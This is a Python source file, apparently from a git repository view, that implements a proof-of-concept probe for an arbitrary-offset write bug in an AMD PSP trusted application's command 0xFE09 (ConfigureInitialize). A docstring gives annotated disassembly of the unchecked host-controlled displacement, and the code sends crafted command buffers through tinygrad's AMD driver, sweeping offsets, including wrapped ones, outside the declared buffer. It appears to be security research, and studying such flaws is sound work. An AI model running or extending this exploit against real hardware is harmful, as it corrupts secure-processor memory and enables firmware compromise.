aboutsummaryrefslogtreecommitdiffstats
path: root/hw/gcp_fe09_configinit_offset_write.py
blob: 703114f5d1e272b0d8f9f1b328c68bd11d939851 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/usr/bin/env python3
"""GCP 0xFE09 -> ConfigureInitialize writes 4 bytes at a host-chosen displacement.

Static chain, verified in the disassembly of gcp 22.0.0.77 (and present in 22.0.4.50):

  gcp_cmdFE09 @0x402ab0
    0x402ac6  CMP.W R0,#0x10000000 / BCC      ; params+0x10 must be < 0x10000000
    0x402ae8  LDR.W R7,[R5,#0x828]            ; R7 = host dword, becomes the write offset
    0x402aec  LDR.W R9,[R5,#0x818]            ; R9 = host dword, the only "limit"
    0x402af4  CMN.W R7,#5 / BHI               ; accept if R7 > 0xFFFFFFFB ...
    0x402b0a  ADDS R6,R7,#4 / CMP R6,R9 / BLS ; ... or if R7+4 <= R9   <-- host vs host
    0x402b40  CMP.W R10,#1 / BNE              ; R10 = params+0x820, host selector
    0x402b46  ADDS R0,R3,#4 / CMP R0,R2 / BLS ; params+0x82C vs params+0x414, host vs host
    0x402b84  BL sub_402EBC                   ; ConfigureInitialize -- NO session required

  ConfigureInitialize @0x402ebc
    0x402f08  LDR.W R0,[R5,#0x318] / CMP #2 / BNE loc_402F36
    0x402f36  ...  / B loc_402F96              ; state != 2 converges on the SAME store
    0x402f96  ADD.W  R1, R7, #0x418            ; R1 = params + 1048
    0x402f9c  ADD.W  R0, R1, R9                ; R9 = *(params+0x828)
    0x402fa0  STRB.W R6, [R1,R9]               ; 4 byte stores of 0 at params+1048+R9
    0x402fa4  STRB   R2, [R0,#3]
    0x402fa8  STRB   R2, [R0,#2]
    0x402fac  STRB   R2, [R0,#1]

Every guard on the path compares one host field against another, so none of them bounds the
displacement. The auth-state test inside ConfigureInitialize fails on a fresh context and its
failure branch falls into the same store.

This probe keeps the displacement small and inside the buffer, so it demonstrates control of
the write address without leaving the mapped window. The signature is that the zeroed dword
MOVES when D changes.

usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad gcp_fe09_configinit_offset_write.py --apply
"""
import argparse
import os
import struct
import subprocess

SHM = 0x8000      # allocation size
DECL = 0x3000     # cmd_buf_len we DECLARE to the PSP (GCP requires >= 0x2958)
PAT = 0xA5A5A5A5


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--apply', action='store_true')
    ap.add_argument('--gcp', default='/root/psp/contall/ta_22-0-4-50_81b082b4.bin')
    ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin')
    args = ap.parse_args()
    if not args.apply:
        print('dry run')
        return 0

    from tinygrad import Device
    import tinygrad.runtime.autogen.am.am as am

    adev = Device["AMD"].iface.dev_impl
    psp = adev.psp

    def alloc(n):
        pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
        return pa, adev.paddr2mc(pa)

    app_pa, app_mc = alloc(0x80000)
    shm_pa, shm_mc = alloc(SHM)

    def load(blob):
        n = (len(blob) + 3) & ~3
        adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob))
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA)
        t = c.cmd.cmd_load_ta
        t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
        t.app_len = len(blob)
        t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32
        t.cmd_buf_len = DECL
        try:
            r = psp._ring_submit(c)
            return r.resp.status & 0xFFFFFFFF, r.resp.session_id
        except Exception as e:
            try:
                return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None
            except Exception:
                return -1, None

    def unload(sid):
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
        c.cmd.cmd_unload_ta.session_id = sid
        try:
            return psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception:
            return -1

    def fe09(sid, disp, limit=0xFFFFFFFF):
        buf = bytearray(struct.pack('<I', PAT) * (SHM // 4))
        struct.pack_into('<I', buf, 0x00, 0xFE09)       # command id
        struct.pack_into('<I', buf, 0x10, 0)           # arg10 < 0x10000000
        struct.pack_into('<I', buf, 0x818, limit)      # the only "limit" on the displacement
        struct.pack_into('<I', buf, 0x820, 1)          # selector -> ConfigureInitialize
        struct.pack_into('<I', buf, 0x828, disp)       # THE WRITE DISPLACEMENT
        struct.pack_into('<I', buf, 0x82C, 0)
        struct.pack_into('<I', buf, 0x830, 0)
        struct.pack_into('<I', buf, 0x414, 0x1000)     # R2, compared against 0x82C/0x830
        adev.vram.view(shm_pa, SHM)[:] = bytes(buf)
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
        iv = c.cmd.cmd_invoke_cmd
        iv.session_id, iv.ta_cmd_id = sid, 0xFE09
        try:
            st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception as e:
            try:
                st = int(str(e).strip().split()[-1]) & 0xFFFFFFFF
            except Exception:
                st = -1
        adev.gmc.flush_hdp()
        out = bytes(adev.vram.view(shm_pa, SHM)[:])
        zeroed = [o for o in range(0, SHM, 4)
                  if struct.unpack_from('<I', out, o)[0] == 0]
        return st, zeroed

    tab = args.ta_bin
    if not os.path.exists(tab) and os.path.exists(tab + '.zst'):
        subprocess.run(['zstd', '-d', '-f', '-o', '/tmp/ta.bin', tab + '.zst'],
                       check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        tab = '/tmp/ta.bin'
    d = open(tab, 'rb').read()
    m = d.find(b'$PS1')
    n = struct.unpack_from('<I', d, m - 0x10 + 0x14)[0]
    _, wsid = load(d[m - 0x10:m - 0x10 + 0x200 + n])
    if wsid is not None:
        unload(wsid)

    st, sid = load(open(args.gcp, 'rb').read())
    print('GCP load %#x sid=%s' % (st, sid), flush=True)
    if st != 0:
        return 1

    print('\ndeclared window = %#x, allocation = %#x' % (DECL, SHM))
    print('FRESH SESSION per displacement, so a poisoned session cannot be mistaken')
    print('for an enforced bound:')
    gcpblob = open(args.gcp, 'rb').read()
    for disp in (0x100, 0x200, 0x3BE8, (-0x1000) & 0xFFFFFFFF, 0xFFFFFFFB):
        unload(sid)
        st0, sid = load(gcpblob)
        if st0 != 0:
            print('  reload failed %#x' % st0); break
        want = (0x418 + disp) & 0xFFFFFFFF
        st, z = fe09(sid, disp)
        where = '(in window)' if want < DECL else ('(BELOW/wrapped)' if want > 0x7FFFFFFF else '(ABOVE)')
        print('  fresh sid=%-3s D=%#-11x target %#-11x %-16s status=%#-10x wrote=%s'
              % (sid, disp, want, where, st, (want in z) if want < SHM else 'n/a'), flush=True)
    print()
    print('same session, sequential (for comparison):')
    for disp in (0x100, 0x3BE8, (-0x418) & 0xFFFFFFFF, (-0x1000) & 0xFFFFFFFF,
                 (-0x2000) & 0xFFFFFFFF, (-0x10000) & 0xFFFFFFFF, 0xFFFFFFFB):
        want = (0x418 + disp) & 0xFFFFFFFF
        st, z = fe09(sid, disp)
        where = '(in window)' if want < DECL else ('(BELOW/wrapped)' if want > 0x7FFFFFFF else '(ABOVE)')
        print('  D=%#-11x -> target %#-11x %-16s status=%#-10x zeroed_there=%s'
              % (disp, want, where, st, (want in z) if want < SHM else 'n/a'), flush=True)
        if st == -1:
            print('  ring stopped responding; aborting sweep', flush=True)
            break
    return 0


if __name__ == '__main__':
    raise SystemExit(main())